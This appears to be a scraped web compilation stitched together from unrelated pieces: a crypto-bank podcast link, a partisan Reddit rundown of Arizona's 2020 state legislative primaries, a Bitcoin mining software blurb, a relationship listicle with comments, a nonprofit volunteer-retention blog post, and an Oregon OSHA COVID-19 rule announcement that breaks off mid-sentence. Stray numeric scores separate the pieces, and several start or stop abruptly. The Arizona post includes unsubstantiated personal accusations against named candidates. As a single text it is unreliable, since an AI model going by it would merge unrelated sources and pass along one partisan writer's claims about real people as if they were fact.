https://soundcloud.com/genesisblock/13-crypto-banking-wars-will-coinbase-or-binance-become-the-bank-of-the-future/ Listen via Podcast (Spotify, Apple Podcasts, etc): https://anchor.fm/genesis-block/episodes/13-Crypto-Banking-Wars---Will-Coinbase-or-Binance-Become-the-Bank-of-the-Future-ehmrmo Follow our social channels: https://genesisblock.com/follow/ Download the app. We're a digital bank that's powered by crypto: https://genesisblock.com/download submitted by mickhagen to genesisblockhq [link] [comments] An Overview of Arizona Primary Races - Part 4: Legislative Districts 11-20 Welcome back to my omnibus compendium of Arizona’s upcoming primary races in the style of my 2018 summaries. The primary is set to take place August 4th – early voting ballots should have been mailed out on or around July 8th. Arizona’s a really interesting state (I may be a hair biased), since it not only is home to 2-3 swing House seats and a high-profile Senate race, but also tenuous majorities in both state houses that could – theoretically – neuter Ducey’s trifecta this fall. And counties have their races this year as well, so I’ve highlighted some of the fireworks ongoing in Maricopa. And this is before factoring in the fact that our state is a COVID-19 hotspot, with an unpopular Republican Governor doing almost nothing to stop it. If you’re interested about which district you live in, check https://azredistricting.org/districtlocato. If you want to get involved with your local Democratic party, find your legislative district on the previous link (NOT CD), and then search for your LD’s name at this link. Feel free to attend meetings, they’re a great way to get involved with candidates and like-minded individuals. If you wish to donate to a “clean elections” candidate (mentioned in the post as “clean”), you will have to live in that candidate’s legislative district to give qualifying $5 contributions (check here if anyone needs it in your area), but they are allowed to accept a limited amount of “seed money” from people outside of the district. The three CorpComm candidates can take $5’s statewide. If you do not want to vote at the polls, you will need to request an early ballot using the website of your county’s recorder prior to July 4th. Example links for Maricopa, Pima, and Pinal. Others available if needed. Race ratings for listed primaries will be listed as Safe/Likely/Leans/Tilt/Tossup (alternatively Solid instead of Safe if my mind blanks) and are not indicative of my own preference for that seat. I’ll denote my personal primary preferences at the end of this series, as well as the best Republican ticket for the Dems if someone here really really wants to pull a GOP ballot in the primary. I do not advise it, but since I can't stop ya, you'll get my best suggestions. Write-in candidates have yet to file, which could give us an outside chance at getting some Libertarians on the ballot (the Greens have lost their ballot access). If you have any questions about voting in the primary, which races are the most contested, and how to get involved with other Democrats in Arizona, feel free to PM me. All fundraising numbers here are as of 7/18/2020 (“Q2”). District stats are listed for the race that involved the top Democratic vote-getter in the past two midterm cycles plus the last two presidential races, taken from Daily Kos’s legislative sheet – Clinton’16, Obama’12, Sinema’18, and Garcia’14 (not his 2018 run). Part 1: Statewide and Congressional Races Part 2: Maricopa County Races Update 1: Congressional and County Rating Updates Part 3: Legislative Districts 1-10 ALL OPINIONS ARE MY OWN SOLELY IN MY CAPACITY AS A VOTER IN ARIZONA, AND NOT REPRESENTATIVE OF ANY ORGANIZATIONS I WORK/ED FOR OR AM/WAS A MEMBER OF. THIS POST IS IN NO WAY ENDORSED BY THE ARIZONA DEMOCRATIC PARTY OR ANY SUB-ORGANIZATION THEREOF, OR ANY FILED CANDIDATE. Alright, let’s get cracking, y’all. I’m going to try to save time and characters on the safer seats when I can, although of course I’ll expound on any fun stuff that comes up. Legislative District 11 (McSally+9.93, Trump+13.9, Douglas+16.7, Romney+19.3) The first district in this writeup installment is LD11, a district very close geographically and politically to LD8. Unlike LD8, however, LD11 has slowly been trending towards Democrats, instead of away from them. Encompassing the southern half of Pinal (including a large chunk of Casa Grande) and bits of Pima, LD11 could swing under the right conditions, but is probably a safe seat this year. That’s disappointing, since the incumbents in the district are pretty darn nasty. Incumbent Senator Venden “Vince” Leach ($98K COH), a sort-of Great Value Mitch McConnell, loves to spend his time filing SB1487 complaints against various liberal towns in Arizona – basically, suing cities over their attempts to go above and beyond state law when it comes to certain issues. Leach leads the SB1487 leaderboard with 4 SB1487 suits, most recently targeting Pima County over COVID-19 safety regulations that were slightly stricter than state law. Joining the suit were his House counterparts, COVID-19 conspiracy-monger Bret Roberts ($22.4K COH) and actual goddamn Oathkeeper and Charlottesville truther Mark Finchem ($27K COH). Facing Finchem and Roberts is the Democratic House nominee for LD11, Dr. Felipe Perez ($24.2K COH). Perez has made few waves online and I haven’t seen him even in the same tier of candidates as Girard in LD8, so he’s probably not going to supercharge this district into Dem. territory. But given the spike in public approval for the healthcare industry due to COVID, he may get lucky. On the Senate side, Leach’s opponent will be one of retired public administrator Linda Patterson ($4.7K COH, Clean) and Marine drill instructor Joanna Mendoza ($14.5K COH). Anything could happen between now and August, but Mendoza currently has a significant organizational, political (endorsements) and fiscal advantage over Patterson, and will probably be the nominee come August. A well-run race could feasibly knock out Finchem or Roberts, but I’ve yet to see that happen. Still, it’s far out enough that I’m not going to slam the door shut on a Perez win just yet. hunter15991 Rating: GOP primary unopposed, Safe Mendoza, Perez unopposed, Safe Leach, Safe Roberts, Likely Finchem general Legislative District 12 (McSally+17.19, Trump+24.5, Douglas+17.84, Romney+33.35) Really not going to focus much on this district to save space, as it’s a snoozefest. House Majority Leader Warren Petersen ($84.8K COH) is running for Senate to replace outgoing Sen. Eddie Farnsworth. Petersen faces Haitian DREAMer. former teacher, and 2018 LD-12 House nominee Lynsey Robinson ($1.4K COH). Robinson’s a great person, but lost her House race against Petersen by the 1v1 equivalent of 20 points, and shows no sign of knocking him off this time around. Petersen’s runningmates, Rep. Travis Grantham ($39K COH) and Queen Creek Councilman Jake Hoffman ($107.7K COH) are unopposed in both the primary and general. hunter15991 Rating: Primaries all unopposed, Safe Petersen general, GOP House unopposed Legislative District 13 (McSally+21.59, Trump+26.96, Douglas+26.22, Romney+31.62) Moving on to another Safe GOP district with not much activity – LD13! Stretching from the whiter Yuma neighborhoods all the way to Phoenix exurbs in Maricopa County (and the mirror image of LD4 to its south), LD13 routinely sends Republican slates to the legislature. This year, incumbents Sen. Sine Kerr ($58.5K COH), Rep. Tim Dunn ($60.4K COH), and Rep. Joanne Osborne ($15K COH) are all fighting to hold their seats. Kerr is unopposed in both the primary and general, while Dunn and Osborne are in the opposite situation – they’ve got two elections between now and inauguration day. Democratic paralegal Mariana Sandoval ($3.1K COH, Clean) will put up little resistance for the GOP in the general, but the entrance of former Senator and former Speaker Pro Tem Steve Montenegro ($27.8K COH) could really shake up the LD13 House primary. Montenegro, a Salvadoran-American legislator who resigned his Senate seat to run for the CD-8 special election primary (he placed 3rd, ultimately losing to then-Sen. Debbie Lesko), was a rising star in the AZ-GOP before his resignation and contemporaneous sexting scandal. This Senate run could be a good way for him to get his foot back in the door, and since his election would single-handedly double the amount of non-white Republicans in the legislator, I would figure that some Arizona Republicans are excited that Montenegro is throwing his hat back into the ring. I haven’t seen much about this primary online, but there’s vague general on GOP pages dinging Montenegro for his ties to a 2016 National Popular Vote bill in the legislature, which is a big purity sticking point for the further-right members of the Arizona GOP. That being said, the chatter is vague at best, and Montenegro has enough conservative cred (with endorsements from people like Joe Arpaio and former Rep. Trent Franks back during his special election run) that he will primarily face issues over the sexting scandal. I’ll give Osborne and Dunn a slight advantage over their incumbency, financial well-being, and the issues in Montenegro’s closet, but this is a really tight race and Montenegro could very well end up back in the legislature this time next year. hunter15991 Rating: Dem. unopposed, Kerr unopposed, Tilt Osborne, Tilt Dunn, All Safe GOP general Legislative District 14 (McSally+23.83, Trump+26.24, Douglas+22.88, Romney+26.84) This is yet another district where Democrats stand no real chance in competing this year, and haven’t in quite some time. Situated in SE Arizona, LD14 once incorporated some ancestrally Democratic mining towns in Greenlee and Graham County, but they’ve grown red enough in the past couple of decades that this district is now held by three GOP legislators. Former House Speaker and current Sen. David Gowan ($60.9K COH) (who was previously in the news for trying to use a state vehicle to assist in a failed Congressional campaign) faces realtor Bob Karp ($12.9K COH, Clean) in the general, while House incumbents Rep. Gail “Tax porn to build the wall” Griffin” ($50.5K COH) and Rep. Becky Nutt ($47.4K COH) face retired union activist Ronnie Maestas-Condos ($686 COH, Clean) and teacher Kim Beach-Moschetti ($13K COH, Clean). All 3 races will probably be easy GOP wins. hunter15991 Rating: Candidates unopposed in primaries, All Safe GOP general Legislative District 15 (McSally+8.01, Trump+16.61, Douglas+11.06, Romney+25.44) LD15, up in Northern Scottsdale and Phoenix, is one of the final frontiers of suburban expansion for Arizona Democrats, along with the Mormon suburbs of the far East Valley (LD12, 16, and 25). A very wealthy area, LD15 has routinely been a GOP stronghold – but their hold on the area has been dissipating steadily rapidly in the Trump era. In 2018, two Dem. House candidates both managed to outperform the “single-shot” performance of a 2016 candidate, and Kristin Dybvig-Pawelko ($48.6K COH, hereafter “KDP”) improved on the district’s 2016 State Senate margin by several points despite facing a significantly more difficult opponent than the 2016 Democrat. KDP is running again this year, as a single-shot candidate for the State House. Her opponents have yet to be set in stone, as both GOP Representatives are vacating their seats to run for higher office, and there are three GOP candidates in the August primary vying for two nominations. Veteran Steve Kaiser ($13.6K COH) and State House policy adviser Justin Wilmeth ($16K COH, $5.2K self-funded) are the nominal establishment picks for both seats, and have been endorsed by a whole host of GOP legislators. However, they face stiff competition from businessman Jarret Hamstreet ($23.2K COH, $10K self-funded), who boasts endorsements from GOP power-players like the local Chamber of Commerce and the NRA, as well as tacit support from the incumbent Senator in the district Heather Carter ($101.2K COH) (somewhat of an Arizona Lisa Murkowski). I’ve been able to find very little chatter on the race, but with Hamstreet’s significant fundraising advantage I definitely think he secures one of the two nominations this November. While the district is still quite red, KDP is no spring chicken, and facing Kasier, Hamstreet, or Wilmeth will be a lot easier than her run against Carter in 2018. If I’m going to be honest, it is the GOP Senate primary that is almost as important as the House general election. Heather Carter has gotten on the bad side of quite a few conservative legislators during her tenure in the Senate, holding up GOP budgets with her partner in crime Paul Boyer in 2019 over a stalled child sexual assault statute of limitations bill and this year over an amendment to give additional funding to firefighters for PPE and to students for tuition support. That amendment failed 15-15 thanks to one Kate Brophy McGee - more on her later. Carter’s actual attempts at moderation (as opposed to McGee’s performative bullshit) has inspired current State Rep. Nancy Barto ($9.9K COH) to challenge her for the Senate. Barto has the support of both Kaiser and Wilmeth (as well as most of the GOP establishment) but has been routinely lagging behind Carter in fundraising (both in terms of current COH and overall amount raised). Carter has been bringing in more “moderate” and pro-public education GOP volunteers from all over Phoenix and is sure to put up a fight in August. As it stands, I think she narrowly pulls it off. There is no Democratic Senate opponent in the general, so winning the primary automatically wins the seat. If you’ve got GOP friends in AZ who just can’t bare phonebanking for Democratic candidates but complain about the state of the Republican party, send them her way. Carter has beliefs. Barto has none. Slate totals: CarteHamstreet: $124.4K KDP: $48.6K Barto coalition (KaiseWilmeth/Barto): $40.5K hunter15991 Rating: Dem. unopposed, Tilt Carter, Lean Hamstreet, Tilt Kaiser, GOP Sen. unopposed in general, Likely Hamstreet, 2nd GOP unopposed Legislative District 16 (McSally+17.58, Trump+28.37, Douglas+17, Romney+28.11) LD16, out on the border between Pinal and Maricopa County, is probably the reddest district in Arizona that could still be relatively considered “suburban”. The only Democratic candidate is write-in House candidate Rev. Helen Hunter ($783 COH), and while her background is stellar (incl. past work with the NAACP, Mesa PD’s Use of Force Committee, and other community involvement), there isn’t even a guarantee she’ll make it onto the November ballot. Meanwhile, Rep. Kelly Townsend ($15.5K COH) has tired of the State House (just like she tired of her furry fursona, and is running unopposed for State Senate. The real drama, therefore, is in the GOP State House primary to win Townsend’s old seat. Incumbent Rep. John Fillmore ($12.9K COH) is running for another term, and seems set to win one of the two nominations. Townsend’s former seat is contested by respiratory therapist Liza Godzich ($14.6K COH) (who wins the “most moderate” title by default by virtue of taking COVID kinda seriously), CorpComm policy advisor Jacqueline Parker ($16.4K COH), and school choice activist/general lunatic Forest Moriarty ($17.7K COH). Moriarty has the valuable Townsend endorsement, but has not been able to consolidate support easily elsewhere – Parker’s CorpComm ties let her bring quite a few assets of her own to bear, as well as endorsements from Congressman Andy Biggs and the NRA. This election will be a test of Townsend’s downballot coattails, as well as those of the school choice movement in AZ parlaying any support they may have into legislative results. Success for Moriarty here could go as far as inspiring Townsend to run for Governor. We’ll see if it comes to that. hunter15991 Rating: No Dem. filed (pending write-in), Townsend unopposed, Lean Fillmore, Tossup ParkeMoriarty, GOP unopposed in general Legislative District 17 (Sinema+3.53, Trump+4.09, Douglas+3.12, Romney+14.16) One of the reasons I significantly delayed writing these writeups was because I was dreading writing about LD17. Not to doxx myself completely, but in 2018 I had far too many negative encounters with the incumbent Democratic Representative, Jennifer Pawlik ($101.3K COH) that made me routinely question my support of her. I’m still trying to heal the wounds in multiple relationships I have with friends that were caused by Pawlik’s actions. I deeply regret ever lifting a finger to help her when I had opportunities in other districts. But because her actions never got physical, because the stakes are so high this year, and because too much unsubstantiated negative talk about a candidate can get a post deleted - I don’t wish to publicly expound on her actions (nor put words in the mouth of other people who interacted with her). Feel free to PM if interested. Pawlik as a candidate is a grab-bag. On paper she’d be a strong option for a suburban district – a teacher and education funding activist with a prior win during the 2018 wave. However, behind the scenes she is quite a poor campaigner in ways that directly impact Democratic candidates’ odds and presences in the district, including her own - which makes me more apprehensive of her odds of re-election than her fellow Jennifer in HD18 (Rep. Jennifer Jermaine), who’s quite similar to Pawlik on the whole. Pawlik’s Senate runningmate this year is local businessman and first-generation American Ajlan “AJ” Kurdoglu ($51.5K COH). AJ’s a good guy and more serious of a campaigner than Pawlik, and is on well enough terms with her that no inter-candidate drama will probably happen this fall (which would be a welcome change for the district). He’s been slightly outpacing her in fundraising and seems to be hitting the ground running. The Republican incumbents in this district are Sen. JD Mesnard ($102.6K COH), who moonlights as legal counsel for an organization categorized as a hate group by the SPLC, and Jeff Wenninger ($117.8K COH), a backbench Bitcoin bro. Wenninger and Mesnard have both been in their seats for a while, and this cycle were backing Chandler Vice Mayor (and JD Mesnard’s mom) Nora Ellen for the other State House seat – Ellen lost to Pawlik in 2018. But in a stroke of luck for Pawlik, Ellen failed to qualify for the ballot this year. However, in a similar stroke of luck for the GOP Liz Harris ($27.3K COH, $21.3K self-funded) - a local realtor (like Ellen) - did qualify. I’ve yet to discern just how close she is with Mesnard and Wenninger, and how much cash she is willing to dump into this race, but in terms of how random non-GOP establishment candidates the LD17 Republicans could have done far worse than Harris. All the pieces in this district would point to a shift even further left than it was in 2018, and had I not known what I know about Pawlik this would be a Tilt D House/Tossup Senate. But I don’t know if she’s changed since 2018 - and if she hasn’t, there is no guarantee that she won’t snatch defeat from the jaws of victory. hunter15991 Rating: Primaries uncontested, Tilt Mesnard, Tossup House (Pawlik/Harris), Safe Wenninger Legislative District 18 (Sinema+18.58, Clinton+10.39, Garcia+12.5, Romney+1.93) Like LD10 in the previous part of my writeup, the situation in LD18 is another blast of the proverbial Gjallarhorn for the AZ-GOP’s suburban chances. Once a very competitive district (fully red as recently as 2016), LD18 is now held by 3 Democrats – Sen. Sean Bowie ($106.3K COH), Rep. Jennifer Jermaine ($65.7K COH), and Rep. Mitzi Epstein ($60.8K COH). Bowie and Epstein have carved rather moderate paths in their respective houses having been elected back when this district was more competitive, while Jermaine’s tacked a bit more to the left, and has been a prominent voice for increasing education funding (prior to running for the State House she was a public school funding activist and IIRC Moms Demand Action member) and for missing indigenous women (Jermaine is part indigenous herself). The GOP’s troubles in this district started around the filing deadline, when one of their candidates, Alyssa Shearer, withdrew from the primary. Super anti-abortion nut Don Hawker ($619 COH) filed as a write-in candidate to replace her, but it’s uncertain if he’ll qualify for the general election. Their other House candidate, Bob Robson ($11K COH) is on paper a solid candidate (being a former Speaker Pro Tem of the state house), but lost by the equivalent of 6% to Epstein in 2016 and by 19% when he ran for Kyrene Justice of the Peace (a district that roughly matches the boundaries of LD18. Robson’s an old warhorse) - going 0 for 2 since 2014. It’s a sign of the times that he and discount Scott Roeder are the two potential House candidates for the GOP in this district. In the Senate, the GOP doesn’t fare much better. Real estate agent Suzanne Sharer ($4.2K COH) is trying to run a semblance of a decent race against Sen. Bowie, but keeps using her campaign Twitter (@blondeandsmart – I promise you that’s a real handle) to retweet QAnon shit. Sharer is going nowhere in November. That’s if she makes it to November, given her past retweets advocating for people to drink bleach to cure COVID. hunter15991 Rating: Primaries uncontested, All Safe Dem. general Legislative District 19 (Sinema+44.97, Clinton+40.25, Garcia+32.38, Obama+34.3) LD19 is a safe Democratic district in the West Valley, where all the drama is happening in the primary. Rep. Lorenzo Sierra ($9.3K COH) and Rep. Diego Espinoza ($25.2K COH) are both running for re-election, defending their seats against challenger Leezah Sun ($5.1K COH), a local activist. Sierra and Espinoza haven’t been particularly conservative in their voting records in the legislator, but have taken some flack from the more progressive wing of the party lately for outside corporate expenditures in this primary. I’m honestly unsure why these PACs are weighing in given that Sun isn’t running all that good of a campaign, but I guess better spend it here than in tighter primaries. Assistant State Minority Leader Lupe Contreras ($7.2K COH) is unopposed in his primary. In the general, there’s one GOP candidate for both House and Senate, but both are write-ins and could possibly not qualify for the ballot. For now, Democrats are unopposed in this district in the general. hunter15991 Contreras uncontested, Safe Sierra, Safe Espinoza, Uncontested Dem. general Legislative District 20 (Sinema+3.7, Trump+8.01, Douglas+0.04, Romney+12.87) LD20 is another suburban district where Democrats could see sizable gains this fall. Won by Sinema and Maricopa County Recorder Adrian Fontes, and almost snagged by David Garcia during the 2014 Superintendent race, LD20 has been on the Arizona Democratic Party’s mind for a few cycles now. Their candidates this year are strong – 2018 Senate nominee Doug Ervin ($94.6K COH) has filed for a rematch after losing by 4 in 2018 (where an independent ex-GOP candidate took 7% - Ervin claims Quelland actually hurt him more than district Republicans), and retired teacher Judy Schweibert ($158.2K COH) is running for House. Both are running bang-up campaigns and seem set to make November a problem for local Republicans, and Ervin has eschewed the public funding he took last time in order to be able to fundraise better for the slugfest ahead. The local GOP, however, isn’t taking this lying down. Representatives Shawnna Bolick ($161.8K COH) - who was almost bumped off the ballot for using a PO Box as her filing address - and Anthony Kern ($73.4K COH) - an ex-cop on the Brady “untrustworthy cop” list - have been building their warchests in preparation for this cycle after narrowly hanging on in 2018 (despite both Democrats in that race running with public funding). While Bolick has typically stayed out of especially heinous controversy on social media (despite once posting that all masks come from Wuhan and are thus contaminated with COVID), Kern’s time on the force seems to have stuck with him, and his Twitter feed is full of a lot of pro-cop posts and whatnot. With Schweibert running as a single-shot candidate this year I can see Kern’s tendency of accidentally discharging his foot into his mouth finally coming back to bite him. On the Senate side the past election results are slightly more promising than the House, but the opponent is tougher as well. Sen. Paul Boyer ($50.5K COH) is probably the closest there is to a living John McCain in the Arizona Legislature (not to deify him too much – he’s still conservative), having blocked two GOP budgets in the past two years along with Sen. Heather Carter (see LD15). In 2019 this was over a child sexual assault reform bill (extending the statute of limitations), and in 2020 this was over a lack of funding to firefighters and university students in the emergency “skinny” COVID budget the legislature passed in the spring. His attempts at moderation are visible outside of that: Boyer’s abysmal Q2 fundraising – per his own words – came from not fundraising at all during the 5 month long legislative session despite campaign finance rules only banning lobbyist contributions during the session (and I guess that’s commendable self-policing), and on his website he stops just short of calling for abortion to be banned, which makes him Margaret fucking Sanger among the current AZ-GOP. That’s not to say that people shouldn’t support Ervin with all it takes – hell, if anything he’ll need more help to oust Boyer. Ultimately I think Ervin holds a narrow lead in this race with the absence of Quelland and with far better fundraising than what the LD20 slate had last year, but the election is still quite far away. If I had to pick one Democrat to win in this district, it’d be Schweibert. hunter15991 Rating: Primaries uncontested, Tilt Ervin, Tilt Schweibert, 2nd House uncontested submitted by hunter15991 to VoteDEM [link] [comments] The mining process involves using dedicated hardware (e.g. ASICs, FPGAs) that use processing power, as well as software applications to manage these rigs. If you've decided to get into cryptocurrency mining, here are some of the best Bitcoin mining software that you can get started with. Best Bitcoin Mining Software of 2020 3. Best Bitcoin mining software CGminer. Pros: Supports GPU/FPGA/ASIC mining, Popular (frequently updated). Cons: Textual interface. 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0.999995	Finding the love of your life is a spectacular thing. However, if you want your relationship to last, there are some key things that you need to give up. You wont be able to continue to act as an individual, because you need to act as a team. That means you have to put the needs of your relationship before your own needs. Here are some crucial things you need to sacrifice when you find true love: Table of contents: Privacy Selfishness Freedom Flirting Independence Money Time 1 Privacy Sure, you're free to hide away in an empty room to enjoy some alone time, but overall you can no longer be a private person. If your boss yells at you, you can't pretend that nothing happened, because your partner will want to hear about your day. If you have money issues, you need to open up to your partner about it, because it concerns them as well. No matter how good you are at keeping secrets, you need to stop doing so once you find the love of your love. 26 Add a comment ... 2 Selfishness When you're single, it's healthy to only think about yourself. That's the best way to get ahead in your job, after all. However, when you're in a serious relationship, you can't be selfish. You need to give your partner as much love as you can and return whatever favors they do for you. 45 Add a comment ... 3 Freedom While you're still free to go out to bars in the middle of the night, it'll be frowned upon by your mate. If you want to keep them happy, you can't go around doing whatever you want without thinking about the consequences. When you're in a relationship, you'll get reprimanded for acting inappropriately. 2 Add a comment ... 4 Flirting It's fun to flirt with your coworkers and hit on men at the grocery stores. However, once you find the love of your life, you need to stop behaving like a single lady. You're taken, and you should act like it. Otherwise, your relationship will be over before you know it. 58 Add a comment ... 5 Independence You're still free to make your own decisions, but it's best to consult your partner first. If you want to buy a new couch, don't just go out and pick the one you like best. Ask your partner for his opinion. If you want him to be a big part of your life, you have to allow him to help make the big decisions. 66 Add a comment ... 6 Money You don't need to buy your partner diamond cufflinks for every anniversary. However, when you care about someone, you'll want to shower them with gifts. Maybe you'll spend money on dinner dates. Maybe you'll spend it on annual vacations. Either way, you'll be giving up a large portion of your paycheck for them. 85 Add a comment ... 7 Time You'll still have time to hang out with your friends, but you won't be able to see them as often as you used to. When you're in a relationship, your partner should come first. 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Terrible article. 44 Wendybird I agree with the time thing, but to outright say that your partner comes before your friends is a little too much. For stuff like the example they gave, it makes sense but if your partner wants to spend time with you when you already have plans with your friends, then your friends should come first. 2 Karen I go out to the bats every weekend. And my other half is ok with it. But it's way better to be in a healthy long term relarionship 54 Cee I agree with the time thing however you shouldn't ditch your friends in the process !! 15 Shimmie When you're in love giving up things that will interfere usually is easy to do. All relationships needs balance without it trouble follows. 14 Lindsay Most of this would come easy. 73 Ellie_luvsun It's true you don't give it up, you compromise and you want to share the rest of your life with your true love. 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0.99955	Volunteers are superheroes! They are your advocates, champions, ambassadors, and worker bees. They fill many roles in different capacities, bringing diverse skill sets as board members, committee leads, exhibit guides, ushers, admins, and more. It’s imperative that you recruit a strong volunteer base and, more importantly, retain their commitment them by valuing their time, effort, and skills. According to Fundraising Basics: A Complete Guide by Barbara L. Ciconte and Jeanne Jacob, volunteer motives vary, but generally people get involved for one of more of the following reasons: They want to contribute to a cause in which they believe. The feel they need to fulfill business and/or social expectations. They are motivated by a desire for change. They want to have a sense of ownership and control that they cannot find in a work situation. They want to learn new skills. They want to have fun and enjoy what they are about to do. According to the Bureau of Labor Statistics, volunteer rates have been declining over the past decade. Reportedly, between 2014-2015 over 62 million people volunteered for a non-profit organization which is down .4% from 2013-2014. Organizations can’t afford to lose volunteer momentum. Building a robust volunteer base is important for your organization’s longterm success. Here are some general guidelines to help you create a program that keeps your volunteers motivated and engaged: 1. Value their time Volunteers are donating their time and energy to your mission. Don’t waste their time by creating unnecessary work. When assigning tasks, be respectful and make sure to use each volunteer wisely. Volunteers that don’t feel valued will quickly lose interest. Pro Tip: Volunteer meetings are important to support open lines of communication. Create an agenda, stay for the meeting, and be mindful of distractions. Encourage working meetings, but don’t go too far off track. Never schedule or conduct meetings without a full agenda, and ensure the content is relevant and critical. If a meeting is deemed not necessary, cancel it to make every minute count with your volunteers. 2. Utilize their strengths Volunteers enjoy using their expertise for a good cause. Allow them to apply their strengths to better your organization, and ensure the task is challenging and stimulating. Not all volunteers want to exercise their occupational expertise, some would prefer to diversify their actions. This can get tricky, but do your best to utilize their skillset while ensuring that each task or assigned department is fulfilling. Pro Tip: If a volunteer is an accountant, suggest their designation be in the finance department, or if they are a certified diver, assign them to the dive team. However, if the volunteer would rather work in an exhibit, allow them to go through any certification programs and assign them to that area. A happy volunteer is a loyal volunteer. 3. Listen to their feedback Listen to what your volunteers say. Volunteers who feel ignored won’t be volunteers for long. Ask their opinions, listen to their suggestions, and always follow up. When a volunteer approaches you with an idea, listen and ask questions. If it can be accommodated, let them know when it’s put into effect. However, if it’s one that is not actionable, follow up with a timely explanation. Understand what the volunteer wants, learn what their expectations are, and communicate regularly. The level of your volunteers’ engagement reflects your ability to listen to their wants, needs and suggestions. Pro Tip: Create a comment box. Some people are not comfortable giving constructive feedback in a group setting or during one-on-one meetings. The comment box is an anonymous way for a volunteer to raise their concern(s) without singling themselves out, and it will guarantee honest feedback. 4. Offer tools and support Volunteers deserve the utmost respect. Provide them with the resources and tools they need to be successful. They have busy lives outside of your organization, and it’s your job to understand their commitments. Conducting quarterly performance evaluations will show them you support their efforts and want to see them succeed. Respect them enough to spend time talking about their work and increase their responsibly (when appropriate). Pro Tip: Ask their peers to rate their performance and share this information during their review. Peer-to-peer feedback is extremely effective, and it will offer insight. 5. Show your appreciation Treat your volunteers like major donors. They give their time, energy and sometimes funds. Show your appreciation with daily stewardship. Volunteers are diverse, and each one requires custom interaction—this will, in turn, strengthen your relationship. Pro Tip: Host a volunteer appreciation party, and if the budget permits, allow guests. Add a theme and encourage all staff to attend. Require employees that regularly work with volunteers to participate in a creative appreciation exercise. For example, each department can perform skits to display their appreciation for your volunteers. If there’s no budget for an event, each department could record a video message about why volunteers are valuable. Consolidate the messages, and play the video during a routine volunteer meeting. The important part is to show your appreciation as much as possible. 6. Create a volunteer engagement policy Remember that volunteers are donors, but not all donors are volunteers. Your volunteers serve a dual purpose to your nonprofit and are incredibly valuable to the advancement of your mission. Ideally, you should have a volunteer engagement policy that’s developed by management, key (active) volunteers, and leadership. If you do not have a volunteer engagement policy, take the first step today by planning a brainstorming session and, once completed, implement it immediately. Ciconte and Jacob propose The Volunteer Bill of Rights in their book, and it can help you develop a policy and guide you through the stewardship process: The right to be treated as a co-worker, not just as free help. The right to a suitable assignment, with consideration for personal preference, temperament, life experience, education and employment background. The right to know as much about an organization as possible: its policies, its people, its programs. The right to train for the job, thoughtfully planned and effectively presented training. The right to continuing education on the job, including information about new developments and training for greater responsibility. The right to sound guidance and direction by someone who is experienced, well-informed, patient, thoughtful and has the time to give guidance. The right to a place to work-an orderly, designated place, conducive to work and worthy of the job to be done. The right to promotion and a variety of experiences through advancement to assignments of more responsibility, through transfer from one activity to another, through special assignments. The right to heard-to have a part in planning, to feel free to make suggestions, to have respect shown for an honest opinion. The right to recognition, in the form of promotion and awards, through day-by-day expressions of appreciation, and by being treated as a coworker. Your volunteers want to make a difference. Allow them to grow, and, together, your work will create change that supports your mission. And don’t forget to have fun with your volunteers—they are phenomenal people that share your same desire for success. ABOUT THE AUTHOR Tanya Fitzgerald Tanya Fitzgerald is a senior marketing manager at Blackbaud, previously having served as a customer success manager for Blackbaud Arts & Cultural Solutions. Prior to joining Blackbaud, she was the Board & Special Projects Manager for the South Carolina Aquarium focusing on major gifts and fundraising events while managing the Board of Directors and junior board. Previously, Tanya was involved with Louie’s Kids for six years, a non-profit that focuses on childhood obesity and family wellness, as a board member and volunteer managing their fundraising efforts. Currently, she is involved with the Charleston Animal Society’s fundraising events and is a member of their Board of Directors philanthropy committee. Tanya enjoys giving back and sharing her non-profit knowledge helping our customers succeed. Comments (4) Kagiso Matiting says: Sep 7, 2017 at 6:52 am Very educational and insightful Reply Happy independence day quotes says: Jul 9, 2018 at 12:21 pm Happy independence day quotes Reply INLEXCA says: Oct 1, 2018 at 6:13 am Great article, If anyone looking for volunteer opportunities in Central America. Visit us here https://www.inlexca.org Reply Camille Devaux says: Oct 3, 2018 at 8:42 pm I really liked what you said about creating a volunteer engagement policy. This is a great way to make sure that you are getting the right training for the job. My cousin would love knowing about this as she looks into getting nonprofit support. https://www.strongcitybaltimore.org/give-to-a-client/
0.941974	Oregon Occupational Safety and Health : Oregon OSHA adopts temporary rule addressing COVID-19 in all workplaces : 2020 News : State of Oregon Skip to main content An official website of the State of Oregon Here's how you know » An official website of the State of Oregon » menu Toggle Main Menu Main Navigation A-Z Topics Collaborations Conferences Consultation Education News Publications Rules Videos/Library Español Translate close search Search search Submit Oregon OSHA Home Page 2020 News News releases by Oregon OSHA You are here: homeOregon Occupational Safety and Health News room News releases 2020 News Oregon OSHA adopts temporary rule addressing COVID-19 in all workplaces menuSite Navigation Oregon OSHA adopts temporary rule addressing COVID-19 in all workplaces News releases 2021 News 2020 News 2019 News 2018 News 2017 News Notices Podcasts For immediate release Nov. 6, 2020 Contact information Aaron Corvin, Public Information Officer 971-718-6973, aaron.corvin@dcbs.oregon.gov Click to subscribe Salem, OR — Oregon OSHA has adopted a temporary rule that combats the spread of coronavirus in all workplaces by requiring employers to carry out a comprehensive set of risk-reducing measures. The rule will take effect Nov. 16, with certain parts phased in, and is expected to remain in effect until May 4, 2021. It is a continuation of the guidance produced by the Oregon Health Authority and enforced in the workplace by Oregon OSHA, including physical distancing, use of face coverings, and sanitation. The rule is intended to further improve the current structure for reducing risks in the workplace by requiring several measures many employers have voluntarily implemented. For example, it requires employers to notify employees of a workplace infection and provide training to workers on how to reduce risks. Likewise, employers must formally assess the risk of exposure, develop infection control plans, and address indoor air quality within their current capability. “We believe compliance with this rule will help reduce the serious threat to workers posed by the COVID-19 pandemic,” said Michael Wood, administrator for Oregon OSHA. “It does so by establishing a clear, practical, and consistent set of measures for employers.” Those measures – along with more requirements for exceptionally high-risk jobs, such as direct patient care – are part of Oregon OSHA’s ongoing enforcement and educational efforts to help protect workers from the coronavirus disease. Beginning in late June, the process to develop the temporary rule included more than a dozen virtual forums dealing with specific issues and industries before the first of four stakeholder review drafts was even developed. And each subsequent draft incorporated changes resulting from Oregon OSHA’s discussion with a large number of employer and worker representatives, as well as feedback from the public at large. Adoption of the temporary rule brings the requirements within the existing rulemaking authority of the Oregon Safe Employment Act. The law governs workplace safety and health in Oregon, including protections for a worker’s right to raise on-the-job health and safety concerns free from retaliation. In the weeks ahead, Oregon OSHA will provide educational resources to help employers and workers understand and apply the requirements. Already, the division offers consultation services that provide no-cost assistance with safety and health programs and technical staff, who help employers understand requirements. The COVID-19 Hazards Poster – provided by the division and required by the temporary rule to be posted – is now available in both English and Spanish. And the 